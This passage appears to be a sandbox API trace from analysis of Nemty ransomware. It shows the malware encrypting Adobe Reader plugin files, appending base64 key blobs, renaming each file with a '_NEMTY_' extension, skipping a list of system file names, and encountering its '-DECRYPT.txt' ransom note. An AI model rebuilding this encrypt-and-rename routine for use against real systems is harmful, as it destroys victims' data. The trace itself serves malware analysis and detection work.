pszString="eeAwAwTEu7N7tCJLC0f8GZ+63DFOtjGay39BON5IH8kn04VEol1YPBowBCSqB+Sl\r\ny5xMurF8jMvcXdVSd3lS/keaQvRwjOeoN2NPbk0sr8EsfA0RoMm6A3y94qwFHevQ\r\nbGKXEKhWxsKY0R2h0AytSMbaDuecGRBMs+rRJ2woaA1SmXD+e4AusOumFMWc6e1F\r\nhfizC20N0u5vUgzmXQsoTNXKM2Rw5XK/6ScasQl9yi67xia0HY+Kfecf+yF5PbUU\r\nICuiRV7TFJYSwH3rLAFUmXY8lpdIMPWmi0PIziL+iLj7ct7Z+KbXm9S06/6PvieL\r\nMuqiJJEmFNBMDVDhe5zwRA==\r\n", pcchString=0x653e29c) returned 1 [0192.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0192.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.581] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\QuickTime.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\quicktime.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.581] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.581] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.581] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.583] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.583] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.583] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.583] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.583] CloseHandle (hObject=0x2f0) returned 1 [0192.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.583] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\QuickTime.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\quicktime.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\QuickTime.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\quicktime.ukr._nemty_kgobjgd_")) returned 1 [0192.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.584] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.UKR", cAlternateFileName="WINDOW~1.UKR")) returned 1 [0192.584] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2=".") returned 1 [0192.584] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="..") returned 1 [0192.584] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="...") returned 1 [0192.584] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="windows") returned 1 [0192.584] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="$RECYCLE.BIN") returned 1 [0192.584] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="rsa") returned 1 [0192.584] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="NTDETECT.COM") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="ntldr") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="MSDOS.SYS") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="IO.SYS") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="boot.ini") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="boot.ini") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="ntuser.dat") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="desktop.ini") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="CONFIG.SYS") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="RECYCLER") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="BOOTSECT.BAK") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="bootmgr") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="programdata") returned 1 [0192.585] lstrcmpiW (lpString1="WindowsMedia.UKR", lpString2="appdata") returned 1 [0192.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.UKR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.UKR", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.UKR", lpUsedDefaultChar=0x0) returned 16 [0192.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0192.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.UKR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.UKR", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.UKR", lpUsedDefaultChar=0x0) returned 16 [0192.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0192.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.UKR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.UKR", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.UKR", lpUsedDefaultChar=0x0) returned 16 [0192.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0192.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.UKR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0192.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.UKR", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.UKR", lpUsedDefaultChar=0x0) returned 16 [0192.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0192.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.586] Sleep (dwMilliseconds=0x5) [0192.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26715470, dwHighDateTime=0x1d561e8)) [0192.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26715470, dwHighDateTime=0x1d561e8)) [0192.596] GetLastError () returned 0x0 [0192.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.596] GetLastError () returned 0x0 [0192.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0192.597] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.597] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.597] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0192.597] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="0V4hxh35ANrTplvHU38pLKhrqZrMKab3IYBo44FE+dTtLBrvGemmUkFlvBuPmmpk\r\nMZUD8Nabo2iXxnrpzwxWu1PiYlGVVO1ayi1g0cJamb7jAvLmdY5cPZh4sWfBK8Rp\r\n8PeTuCei7pT2FrlnWhm/s0M9Xj5Vvl7oijM1u9n+pXaJfNpk6JndFVzzK8W05caW\r\nIgL7/LX1s+iJzGFUskxI+rBbpnW6By/mbWufdHlX5b4P4n9agVj4FrcylAuEwZXI\r\nd+UXOoTSzyPAU9h2dop6ris64hGtOJ3OSuVzsXAt+0lN+jrqwy+i76gPSsd6CqfY\r\nhJRmhUGgLK+df1mJiNIZcQ==\r\n", pcchString=0x653e29c) returned 1 [0192.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0192.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0192.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\WindowsMedia.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\windowsmedia.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.597] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.598] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.598] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.599] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.599] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.599] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.599] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.599] CloseHandle (hObject=0x2f0) returned 1 [0192.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0192.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0192.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0192.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0192.600] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\WindowsMedia.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\windowsmedia.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\WindowsMedia.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\windowsmedia.ukr._nemty_kgobjgd_")) returned 1 [0192.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.601] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2667cef0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2667cef0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2667cef0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0192.601] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0192.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0192.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0192.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 